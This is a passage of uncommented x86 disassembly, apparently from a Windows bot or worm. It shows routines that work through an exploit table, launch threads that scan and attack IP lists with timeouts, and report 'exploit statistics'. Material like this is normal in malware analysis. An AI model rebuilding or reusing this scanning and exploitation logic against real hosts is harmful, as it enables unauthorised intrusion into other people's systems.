call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
lea eax, [ebp+var_51C]
push eax
call sub_407A86
pop ecx
movzx eax, al
test eax, eax
jz short loc_4134F5
push 14Ch
push 0
lea eax, [ebp+var_358]
push eax
call sub_416B6A ; memset
add esp, 0Ch
jmp loc_4135BF
; ---------------------------------------------------------------------------
loc_4134F5: ; CODE XREF: sub_41349C+3Cj
and [ebp+var_62C], 0
jmp short loc_41350B
; ---------------------------------------------------------------------------
loc_4134FE: ; CODE XREF: sub_41349C:loc_4135BAj
mov eax, [ebp+var_62C]
inc eax
mov [ebp+var_62C], eax
loc_41350B: ; CODE XREF: sub_41349C+60j
mov eax, [ebp+var_62C]
imul eax, 3Ah
add eax, offset byte_41CCD0
push eax
lea eax, [ebp+var_640]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
lea eax, [ebp+var_640]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_51C]
push eax
lea eax, [ebp+var_640]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_4135BA
mov eax, [ebp+var_62C]
imul eax, 3Ah
add eax, offset byte_41CCD0
mov [ebp+var_358], eax
push 3Ah
mov eax, [ebp+var_62C]
imul eax, 3Ah
add eax, offset byte_41CCD0
push eax
lea eax, [ebp+var_354]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
lea eax, [ebp+var_354]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_341]
push eax
call sub_4105FB
pop ecx
and [ebp+var_296], 0
lea eax, [ebp+var_341]
push eax
lea eax, [ebp+var_51C]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_4135BF
; ---------------------------------------------------------------------------
loc_4135BA: ; CODE XREF: sub_41349C+B0j
jmp loc_4134FE
; ---------------------------------------------------------------------------
loc_4135BF: ; CODE XREF: sub_41349C+54j
; sub_41349C+11Cj
lea eax, [ebp+var_624]
push eax
call sub_40806A
pop ecx
test eax, eax
jnz short loc_4135E3
push [ebp+var_628]
call sub_409763
pop ecx
xor eax, eax
jmp loc_413AAB
; ---------------------------------------------------------------------------
loc_4135E3: ; CODE XREF: sub_41349C+132j
mov al, byte_41DE30
mov [ebp+var_20C], al
push 3Fh
pop ecx
xor eax, eax
lea edi, [ebp+var_20B]
rep stosd
stosw
stosb
mov al, byte_41DE30
mov [ebp+var_108], al
push 3Fh
pop ecx
xor eax, eax
lea edi, [ebp+var_107]
rep stosd
stosw
stosb
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_624]
push eax
lea eax, [ebp+var_20C]
push eax
call sub_407F3D
add esp, 0Ch
test eax, eax
jnz short loc_41364D
push [ebp+var_628]
call sub_409763
pop ecx
xor eax, eax
jmp loc_413AAB
; ---------------------------------------------------------------------------
loc_41364D: ; CODE XREF: sub_41349C+19Cj
push [ebp+var_506]
call sub_404D10
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_413675
push [ebp+var_628]
call sub_409763
pop ecx
xor eax, eax
jmp loc_413AAB
; ---------------------------------------------------------------------------
loc_413675: ; CODE XREF: sub_41349C+1C4j
cmp [ebp+var_358], 0
jz loc_413782
mov eax, [ebp+var_358]
mov eax, [eax+32h]
and eax, 1
test eax, eax
jz loc_413782
call sub_4042FB
mov [ebp+var_644], eax
cmp [ebp+var_644], 0
jz short loc_4136B6
mov [ebp+var_296], 2
jmp short loc_4136C0
; ---------------------------------------------------------------------------
loc_4136B6: ; CODE XREF: sub_41349C+20Cj
mov [ebp+var_296], 3
loc_4136C0: ; CODE XREF: sub_41349C+218j
movsx eax, [ebp+var_36B]
test eax, eax
jz short loc_4136E5
mov eax, [ebp+var_358]
mov eax, [eax+32h]
and eax, 2
test eax, eax
jnz short loc_4136E5
mov [ebp+var_296], 1
loc_4136E5: ; CODE XREF: sub_41349C+22Dj
; sub_41349C+23Dj
movsx eax, [ebp+var_37B]
test eax, eax
jz short loc_4136FA
mov [ebp+var_296], 2
loc_4136FA: ; CODE XREF: sub_41349C+252j
movsx eax, [ebp+var_37A]
test eax, eax
jz short loc_41370F
mov [ebp+var_296], 3
loc_41370F: ; CODE XREF: sub_41349C+267j
cmp [ebp+var_296], 3
jnz short loc_41372B
cmp [ebp+var_644], 0
jz short loc_41372B
mov [ebp+var_296], 2
loc_41372B: ; CODE XREF: sub_41349C+27Aj
; sub_41349C+283j
cmp [ebp+var_296], 3
jnz short loc_413782
mov al, [ebp+var_36A]
mov [ebp+var_64C], al
mov al, [ebp+var_377]
mov [ebp+var_648], al
mov [ebp+var_36A], 1
and [ebp+var_377], 0
push 0
lea eax, [ebp+var_502]
push eax
call sub_412F07
pop ecx
pop ecx
mov al, [ebp+var_64C]
mov [ebp+var_36A], al
mov al, [ebp+var_648]
mov [ebp+var_377], al
loc_413782: ; CODE XREF: sub_41349C+1E0j
; sub_41349C+1F4j ...
push offset dword_41E2D8
call sub_409C6C
pop ecx
push [ebp+var_50E]
lea eax, [ebp+var_51C]
push eax
lea eax, [ebp+var_624]
push eax
push offset dword_41CE78
mov eax, [ebp+var_628]
add eax, 14h
push eax
call sub_416B5E ; sprintf
add esp, 14h
push offset dword_41E2D8
call sub_409C7A
pop ecx
push [ebp+var_50E]
lea eax, [ebp+var_51C]
push eax
lea eax, [ebp+var_624]
push eax
mov eax, [ebp+var_628]
push dword ptr [eax]
push offset dword_41CE40
lea eax, [ebp+var_502]
push eax
call sub_40D53F
add esp, 18h
cmp [ebp+var_358], 0
jnz short loc_413807
push 3E8h
call ds:dword_41709C ; Sleep
loc_413807: ; CODE XREF: sub_41349C+35Ej
and [ebp+var_10C], 0
call sub_416B64 ; clock
mov [ebp+var_35C], eax
and [ebp+var_4], 0
loc_41381D: ; CODE XREF: sub_41349C+3F9j
; sub_41349C+44Bj ...
mov eax, [ebp+var_628]
cmp dword ptr [eax+4], 0
jnz short loc_413847
call sub_416B64 ; clock
add eax, [ebp+var_4]
sub eax, [ebp+var_35C]
mov ecx, [ebp+var_50E]
imul ecx, 3E8h
cmp eax, ecx
jb short loc_41384C
loc_413847: ; CODE XREF: sub_41349C+38Bj
jmp loc_413A43
; ---------------------------------------------------------------------------
loc_41384C: ; CODE XREF: sub_41349C+3A9j
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_20C]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_624]
push eax
lea eax, [ebp+var_20C]
push eax
call sub_407F3D
add esp, 0Ch
push offset dword_41EF48
lea eax, [ebp+var_20C]
push eax
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jnz short loc_413897
jmp short loc_41381D
; ---------------------------------------------------------------------------
loc_413897: ; CODE XREF: sub_41349C+3F7j
push [ebp+var_8]
push 0
lea eax, [ebp+var_51C]
push eax
lea eax, [ebp+var_20C]
push eax
call sub_404FE7
add esp, 0Ch
push eax
call sub_404D4D
pop ecx
pop ecx
mov [ebp+var_650], eax
cmp [ebp+var_650], 0
jz short loc_4138EC
call sub_416B64 ; clock
add eax, [ebp+var_4]
sub eax, [ebp+var_35C]
mov ecx, [ebp+var_50E]
imul ecx, 3E8h
cmp eax, ecx
jnb short loc_4138EC
jmp loc_41381D
; ---------------------------------------------------------------------------
loc_4138EC: ; CODE XREF: sub_41349C+42Bj
; sub_41349C+449j
push [ebp+var_50A]
call ds:dword_41709C ; Sleep
push [ebp+var_8]
call sub_404E1C
pop ecx
test eax, eax
jz loc_413A35
loc_413909: ; CODE XREF: sub_41349C+4BAj
; sub_41349C:loc_413A30j
push [ebp+var_8]
call sub_404F24
pop ecx
mov [ebp+var_654], eax
cmp [ebp+var_654], 0
jnz short loc_413926
jmp loc_413A35
; ---------------------------------------------------------------------------
loc_413926: ; CODE XREF: sub_41349C+483j
mov eax, [ebp+var_10C]
inc eax
mov [ebp+var_10C], eax
cmp [ebp+var_358], 0
jz short loc_4139B7
push 14Ch
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_658], eax
cmp [ebp+var_658], 0
jnz short loc_413958
jmp short loc_413909
; ---------------------------------------------------------------------------
loc_413958: ; CODE XREF: sub_41349C+4B8j
push 14Ch
lea eax, [ebp+var_358]
push eax
push [ebp+var_658]
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_658]
mov ecx, [ebp+var_654]
mov [eax+3Eh], ecx
push [ebp+var_658]
push offset sub_41331E
call sub_409479
pop ecx
pop ecx
test eax, eax
jnz short loc_4139A5
push [ebp+var_658]
call sub_416B4C ; free
pop ecx
jmp short loc_4139B5
; ---------------------------------------------------------------------------
loc_4139A5: ; CODE XREF: sub_41349C+4F9j
push [ebp+var_8]
push [ebp+var_654]
call sub_404D9B
pop ecx
pop ecx
loc_4139B5: ; CODE XREF: sub_41349C+507j
jmp short loc_413A30
; ---------------------------------------------------------------------------
loc_4139B7: ; CODE XREF: sub_41349C+49Ej
mov eax, [ebp+var_628]
cmp dword ptr [eax+4], 0
jz short loc_4139C5
jmp short loc_413A35
; ---------------------------------------------------------------------------
loc_4139C5: ; CODE XREF: sub_41349C+525j
lea eax, [ebp+var_75C]
push eax
push [ebp+var_654]
call sub_4044F7
pop ecx
pop ecx
mov al, [ebp+var_36A]
mov [ebp+var_65C], al
and [ebp+var_36A], 0
lea eax, [ebp+var_51C]
push eax
lea eax, [ebp+var_75C]
push eax
push offset dword_41CE2C
lea eax, [ebp+var_502]
push eax
call sub_40D53F
add esp, 10h
mov al, [ebp+var_65C]
mov [ebp+var_36A], al
push 3E8h
call ds:dword_41709C ; Sleep
mov eax, [ebp+var_4]
add eax, 3E8h
mov [ebp+var_4], eax
loc_413A30: ; CODE XREF: sub_41349C:loc_4139B5j
jmp loc_413909
; ---------------------------------------------------------------------------
loc_413A35: ; CODE XREF: sub_41349C+467j
; sub_41349C+485j ...
push [ebp+var_8]
call sub_404F7D
pop ecx
jmp loc_41381D
; ---------------------------------------------------------------------------
loc_413A43: ; CODE XREF: sub_41349C:loc_413847j
push [ebp+var_10C]
call sub_416B64 ; clock
sub eax, [ebp+var_35C]
mov dword ptr [ebp+var_764], eax
and dword ptr [ebp+var_764+4], 0
fild [ebp+var_764]
fdiv ds:flt_417270
push ecx
push ecx
fstp [esp+774h+var_774]
lea eax, [ebp+var_51C]
push eax
lea eax, [ebp+var_624]
push eax
push offset unk_41CDE8
lea eax, [ebp+var_502]
push eax
call sub_40D53F
add esp, 1Ch
push [ebp+var_8]
call sub_404FD0
pop ecx
push [ebp+var_628]
call sub_409763
pop ecx
xor eax, eax
loc_413AAB: ; CODE XREF: sub_41349C+142j
; sub_41349C+1ACj ...
pop edi
leave
retn 4
sub_41349C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413AB0 proc near ; CODE XREF: sub_40A9CF+BCBp
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 34h
cmp [ebp+arg_4], 0
jz short loc_413AC2
cmp [ebp+arg_8], 0
jnz short loc_413AC7
loc_413AC2: ; CODE XREF: sub_413AB0+Aj
jmp locret_413CB1
; ---------------------------------------------------------------------------
loc_413AC7: ; CODE XREF: sub_413AB0+10j
push [ebp+arg_8]
call sub_407A86
pop ecx
movzx eax, al
test eax, eax
jz short loc_413AEB
push [ebp+arg_8]
call sub_40422A
pop ecx
test eax, eax
jnz short loc_413AE9
jmp locret_413CB1
; ---------------------------------------------------------------------------
loc_413AE9: ; CODE XREF: sub_413AB0+32j
jmp short loc_413B45
; ---------------------------------------------------------------------------
loc_413AEB: ; CODE XREF: sub_413AB0+25j
and [ebp+var_14], 0
jmp short loc_413AF8
; ---------------------------------------------------------------------------
loc_413AF1: ; CODE XREF: sub_413AB0:loc_413B43j
mov eax, [ebp+var_14]
inc eax
mov [ebp+var_14], eax
loc_413AF8: ; CODE XREF: sub_413AB0+3Fj
mov eax, [ebp+var_14]
imul eax, 3Ah
movsx eax, byte_41CCD0[eax]
test eax, eax
jnz short loc_413B0E
jmp locret_413CB1
; ---------------------------------------------------------------------------
loc_413B0E: ; CODE XREF: sub_413AB0+57j
mov eax, [ebp+var_14]
imul eax, 3Ah
add eax, offset byte_41CCD0
push eax
lea eax, [ebp+var_28]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
lea eax, [ebp+var_28]
push eax
call sub_4105FB
pop ecx
push [ebp+arg_8]
lea eax, [ebp+var_28]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_413B43
jmp short loc_413B45
; ---------------------------------------------------------------------------
loc_413B43: ; CODE XREF: sub_413AB0+8Fj
jmp short loc_413AF1
; ---------------------------------------------------------------------------
loc_413B45: ; CODE XREF: sub_413AB0:loc_413AE9j
; sub_413AB0+91j
cmp [ebp+arg_C], 0
jz short loc_413B59
push [ebp+arg_C]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_2C], eax
jmp short loc_413B60
; ---------------------------------------------------------------------------
loc_413B59: ; CODE XREF: sub_413AB0+99j
mov [ebp+var_2C], 15180h
loc_413B60: ; CODE XREF: sub_413AB0+A7j
mov eax, [ebp+var_2C]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_413B75
cmp [ebp+var_4], 15180h
jbe short loc_413B7C
loc_413B75: ; CODE XREF: sub_413AB0+BAj
mov [ebp+var_4], 15180h
loc_413B7C: ; CODE XREF: sub_413AB0+C3j
cmp [ebp+arg_10], 0
jz short loc_413B90
push [ebp+arg_10]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_30], eax
jmp short loc_413B97
; ---------------------------------------------------------------------------
loc_413B90: ; CODE XREF: sub_413AB0+D0j
mov [ebp+var_30], 7D0h
loc_413B97: ; CODE XREF: sub_413AB0+DEj
mov eax, [ebp+var_30]
mov [ebp+var_C], eax
cmp [ebp+var_C], 32h
jb short loc_413BAC
cmp [ebp+var_C], 0EA60h
jbe short loc_413BB3
loc_413BAC: ; CODE XREF: sub_413AB0+F1j
mov [ebp+var_C], 7D0h
loc_413BB3: ; CODE XREF: sub_413AB0+FAj
cmp [ebp+arg_14], 0
jz short loc_413BC7
push [ebp+arg_14]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_34], eax
jmp short loc_413BCE
; ---------------------------------------------------------------------------
loc_413BC7: ; CODE XREF: sub_413AB0+107j
mov [ebp+var_34], 100h
loc_413BCE: ; CODE XREF: sub_413AB0+115j
mov eax, [ebp+var_34]
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_413BE3
cmp [ebp+var_10], 200h
jbe short loc_413BEA
loc_413BE3: ; CODE XREF: sub_413AB0+128j
mov [ebp+var_10], 100h
loc_413BEA: ; CODE XREF: sub_413AB0+131j
push 2C9h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_413C03
jmp locret_413CB1
; ---------------------------------------------------------------------------
loc_413C03: ; CODE XREF: sub_413AB0+14Cj
push 108h
push [ebp+arg_4]
mov eax, [ebp+var_8]
add eax, 4
push eax
call sub_407A56
add esp, 0Ch
push 0Eh
push [ebp+arg_8]
mov eax, [ebp+var_8]
add eax, 10Ch
push eax
call sub_407A56
add esp, 0Ch
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
mov [eax+11Ah], ecx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov [eax+11Eh], ecx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_10]
mov [eax+122h], ecx
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_8]
add eax, 126h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+var_10]
push [ebp+var_C]
mov eax, [ebp+var_8]
push dword ptr [eax+11Ah]
mov eax, [ebp+var_8]
add eax, 10Ch
push eax
mov eax, [ebp+var_8]
add eax, 4
push eax
push offset unk_41CEA4
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Bh]
neg eax
sbb eax, eax
inc eax
push eax
push [ebp+var_8]
push offset sub_41349C
call sub_4095A4
add esp, 24h
locret_413CB1: ; CODE XREF: sub_413AB0:loc_413AC2j
; sub_413AB0+34j ...
leave
retn
sub_413AB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413CB3 proc near ; DATA XREF: sub_413FE7+5Co
var_49C = dword ptr -49Ch
var_498 = byte ptr -498h
var_494 = byte ptr -494h
var_490 = dword ptr -490h
var_48C = dword ptr -48Ch
var_488 = dword ptr -488h
var_484 = dword ptr -484h
var_480 = dword ptr -480h
var_47C = byte ptr -47Ch
var_469 = byte ptr -469h
var_3BE = dword ptr -3BEh
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = byte ptr -32Ch
var_1AC = byte ptr -1ACh
var_25 = byte ptr -25h
var_24 = byte ptr -24h
var_21 = byte ptr -21h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
push 327h
push [ebp+arg_0]
lea eax, [ebp+var_330]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
mov eax, [ebp+var_330]
push dword ptr [eax]
push offset unk_41CF50
lea eax, [ebp+var_1AC]
push eax
call sub_40D53F
add esp, 0Ch
and [ebp+var_334], 0
and [ebp+var_484], 0
lea eax, [ebp+var_4]
push eax
push offset dword_418F4C
lea eax, [ebp+var_32C]
push eax
call sub_40813C
add esp, 0Ch
mov [ebp+var_8], eax
loc_413D21: ; CODE XREF: sub_413CB3:loc_413FA8j
mov eax, [ebp+var_334]
inc eax
mov [ebp+var_334], eax
and [ebp+var_488], 0
jmp short loc_413D44
; ---------------------------------------------------------------------------
loc_413D37: ; CODE XREF: sub_413CB3+23Bj
; sub_413CB3:loc_413F77j
mov eax, [ebp+var_488]
inc eax
mov [ebp+var_488], eax
loc_413D44: ; CODE XREF: sub_413CB3+82j
mov eax, [ebp+var_488]
imul eax, 3Ah
cmp off_41CCFE[eax], 0
jz loc_413F7C
push 3Ah
mov eax, [ebp+var_488]
imul eax, 3Ah
add eax, offset byte_41CCD0
push eax
lea eax, [ebp+var_47C]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_488]
imul eax, 3Ah
add eax, offset byte_41CCD0
mov [ebp+var_480], eax
lea eax, [ebp+var_47C]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_469]
push eax
call sub_4105FB
pop ecx
cmp [ebp+var_480], 0
jz loc_413E9A
mov eax, [ebp+var_480]
mov eax, [eax+32h]
and eax, 1
test eax, eax
jz loc_413E9A
call sub_4042FB
mov [ebp+var_490], eax
cmp [ebp+var_490], 0
jz short loc_413DE9
mov [ebp+var_3BE], 2
jmp short loc_413DF3
; ---------------------------------------------------------------------------
loc_413DE9: ; CODE XREF: sub_413CB3+128j
mov [ebp+var_3BE], 3
loc_413DF3: ; CODE XREF: sub_413CB3+134j
movsx eax, [ebp+var_15]
test eax, eax
jz short loc_413E15
mov eax, [ebp+var_480]
mov eax, [eax+32h]
and eax, 2
test eax, eax
jnz short loc_413E15
mov [ebp+var_3BE], 1
loc_413E15: ; CODE XREF: sub_413CB3+146j
; sub_413CB3+156j
movsx eax, [ebp+var_25]
test eax, eax
jz short loc_413E27
mov [ebp+var_3BE], 2
loc_413E27: ; CODE XREF: sub_413CB3+168j
movsx eax, [ebp+var_24]
test eax, eax
jz short loc_413E39
mov [ebp+var_3BE], 3
loc_413E39: ; CODE XREF: sub_413CB3+17Aj
cmp [ebp+var_3BE], 3
jnz short loc_413E55
cmp [ebp+var_490], 0
jz short loc_413E55
mov [ebp+var_3BE], 2
loc_413E55: ; CODE XREF: sub_413CB3+18Dj
; sub_413CB3+196j
cmp [ebp+var_3BE], 3
jnz short loc_413E9A
mov al, [ebp+var_14]
mov [ebp+var_498], al
mov al, [ebp+var_21]
mov [ebp+var_494], al
mov [ebp+var_14], 1
and [ebp+var_21], 0
push 0
lea eax, [ebp+var_1AC]
push eax
call sub_412F07
pop ecx
pop ecx
mov al, [ebp+var_498]
mov [ebp+var_14], al
mov al, [ebp+var_494]
mov [ebp+var_21], al
loc_413E9A: ; CODE XREF: sub_413CB3+FCj
; sub_413CB3+110j ...
movsx eax, [ebp+var_13]
neg eax
sbb eax, eax
and eax, 1388h
add eax, 1388h
push eax
push 0
lea eax, [ebp+var_469]
push eax
push [ebp+var_8]
call sub_4050EA
add esp, 10h
mov [ebp+var_48C], eax
cmp [ebp+var_48C], 0
jz loc_413F77
push 14Ch
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_49C], eax
cmp [ebp+var_49C], 0
jnz short loc_413EF3
jmp loc_413D37
; ---------------------------------------------------------------------------
loc_413EF3: ; CODE XREF: sub_413CB3+239j
push 14Ch
lea eax, [ebp+var_480]
push eax
push [ebp+var_49C]
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_484]
inc eax
mov [ebp+var_484], eax
mov eax, [ebp+var_49C]
mov ecx, [ebp+var_48C]
mov [eax+3Eh], ecx
push [ebp+var_49C]
push offset sub_41331E
call sub_409479
pop ecx
pop ecx
test eax, eax
jnz short loc_413F59
push [ebp+var_48C]
call sub_4053B1
pop ecx
push [ebp+var_49C]
call sub_416B4C ; free
pop ecx
jmp short loc_413F77
; ---------------------------------------------------------------------------
loc_413F59: ; CODE XREF: sub_413CB3+28Aj
lea eax, [ebp+var_47C]
push eax
push [ebp+var_8]
push offset dword_41CF20
lea eax, [ebp+var_1AC]
push eax
call sub_40D53F
add esp, 10h
loc_413F77: ; CODE XREF: sub_413CB3+21Bj
; sub_413CB3+2A4j
jmp loc_413D37
; ---------------------------------------------------------------------------
loc_413F7C: ; CODE XREF: sub_413CB3+A1j
lea eax, [ebp+var_4]
push eax
push offset dword_418F4C
push 0
call sub_40813C
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_413F9A
jmp short loc_413FAD
; ---------------------------------------------------------------------------
loc_413F9A: ; CODE XREF: sub_413CB3+2E3j
mov eax, [ebp+var_330]
cmp dword ptr [eax+4], 0
jz short loc_413FA8
jmp short loc_413FAD
; ---------------------------------------------------------------------------
loc_413FA8: ; CODE XREF: sub_413CB3+2F1j
jmp loc_413D21
; ---------------------------------------------------------------------------
loc_413FAD: ; CODE XREF: sub_413CB3+2E5j
; sub_413CB3+2F3j
push [ebp+var_334]
push [ebp+var_484]
mov eax, [ebp+var_330]
push dword ptr [eax]
push offset dword_41CEDC
lea eax, [ebp+var_1AC]
push eax
call sub_40D53F
add esp, 14h
push [ebp+var_330]
call sub_409763
pop ecx
xor eax, eax
leave
retn 4
sub_413CB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413FE7 proc near ; CODE XREF: sub_40A9CF+B5Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_4], 0
jnz short loc_413FF3
jmp short locret_414050
; ---------------------------------------------------------------------------
loc_413FF3: ; CODE XREF: sub_413FE7+8j
push 327h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_414009
jmp short locret_414050
; ---------------------------------------------------------------------------
loc_414009: ; CODE XREF: sub_413FE7+1Ej
push 180h
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_407A56
add esp, 0Ch
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 184h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push offset aAttemptingToEx ; "Attempting to exploit IP's in list."
push 0
push [ebp+var_4]
push offset sub_413CB3
call sub_4095A4
add esp, 10h
locret_414050: ; CODE XREF: sub_413FE7+Aj
; sub_413FE7+20j
leave
retn
sub_413FE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414052 proc near ; DATA XREF: sub_41417D+35o
var_3C0 = dword ptr -3C0h
var_3BC = byte ptr -3BCh
var_225 = byte ptr -225h
var_224 = byte ptr -224h
var_218 = byte ptr -218h
var_204 = dword ptr -204h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3C0h
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_3C0]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push offset aExploitStatist ; "Exploit statistics - "
lea eax, [ebp+var_200]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
and [ebp+var_204], 0
jmp short loc_4140A4
; ---------------------------------------------------------------------------
loc_414097: ; CODE XREF: sub_414052:loc_41414Aj
mov eax, [ebp+var_204]
inc eax
mov [ebp+var_204], eax
loc_4140A4: ; CODE XREF: sub_414052+43j
mov eax, [ebp+var_204]
imul eax, 3Ah
movsx eax, byte_41CCD0[eax]
test eax, eax
jz loc_41414F
push 12h
mov eax, [ebp+var_204]
imul eax, 3Ah
add eax, offset byte_41CCD0
push eax
lea eax, [ebp+var_218]
push eax
call sub_407A56
add esp, 0Ch
lea eax, [ebp+var_218]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_200]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
mov eax, [ebp+var_204]
imul eax, 3Ah
push dword_41CCFA[eax]
push offset dword_41CFA4
lea eax, [ebp+var_200]
push eax
call sub_416B40 ; strlen
pop ecx
lea eax, [ebp+eax+var_200]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
movsx eax, [ebp+var_225]
test eax, eax
jz short loc_41414A
mov eax, [ebp+var_204]
imul eax, 3Ah
and dword_41CCFA[eax], 0
loc_41414A: ; CODE XREF: sub_414052+E6j
jmp loc_414097
; ---------------------------------------------------------------------------
loc_41414F: ; CODE XREF: sub_414052+64j
and [ebp+var_224], 0
lea eax, [ebp+var_200]
push eax
lea eax, [ebp+var_3BC]
push eax
call sub_40D53F
pop ecx
pop ecx
push [ebp+var_3C0]
call sub_409763
pop ecx
xor eax, eax
leave
retn 4
sub_414052 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41417D proc near ; CODE XREF: sub_40A9CF+BF4p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_414197
jmp short locret_4141BF
; ---------------------------------------------------------------------------
loc_414197: ; CODE XREF: sub_41417D+16j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aListingExploit ; "Listing exploit statistics"
push 0
push [ebp+var_4]
push offset sub_414052
call sub_4095A4
add esp, 10h
locret_4141BF: ; CODE XREF: sub_41417D+18j
leave
retn
sub_41417D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4141C1 proc near ; DATA XREF: sub_4142BF+E2o
var_2BC = dword ptr -2BCh
var_2B8 = byte ptr -2B8h
var_1B8 = byte ptr -1B8h
var_1B2 = dword ptr -1B2h
var_1AE = byte ptr -1AEh
var_16 = byte ptr -16h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2BCh
push 2B1h
push [ebp+arg_0]
lea eax, [ebp+var_2BC]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
call sub_416B64 ; clock
mov [ebp+var_4], eax
push [ebp+var_1B2]
push 0
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_2B8]
push eax
call sub_4050EA
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_41424F
push [ebp+var_8]
call sub_4053B1
pop ecx
call sub_416B64 ; clock
sub eax, [ebp+var_4]
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_2B8]
push eax
push offset dword_41D050
lea eax, [ebp+var_1AE]
push eax
call sub_40D53F
add esp, 14h
jmp short loc_4142AD
; ---------------------------------------------------------------------------
loc_41424F: ; CODE XREF: sub_4141C1+56j
movsx eax, [ebp+var_16]
test eax, eax
jnz short loc_4142AD
call sub_416B64 ; clock
sub eax, [ebp+var_4]
cmp eax, [ebp+var_1B2]
jb short loc_41428B
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_2B8]
push eax
push offset dword_41D018
lea eax, [ebp+var_1AE]
push eax
call sub_40D53F
add esp, 10h
jmp short loc_4142AD
; ---------------------------------------------------------------------------
loc_41428B: ; CODE XREF: sub_4141C1+A4j
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_2B8]
push eax
push offset dword_41CFE8
lea eax, [ebp+var_1AE]
push eax
call sub_40D53F
add esp, 10h
loc_4142AD: ; CODE XREF: sub_4141C1+8Cj
; sub_4141C1+94j ...
push [ebp+var_2BC]
call sub_409763
pop ecx
xor eax, eax
leave
retn 4
sub_4141C1 endp
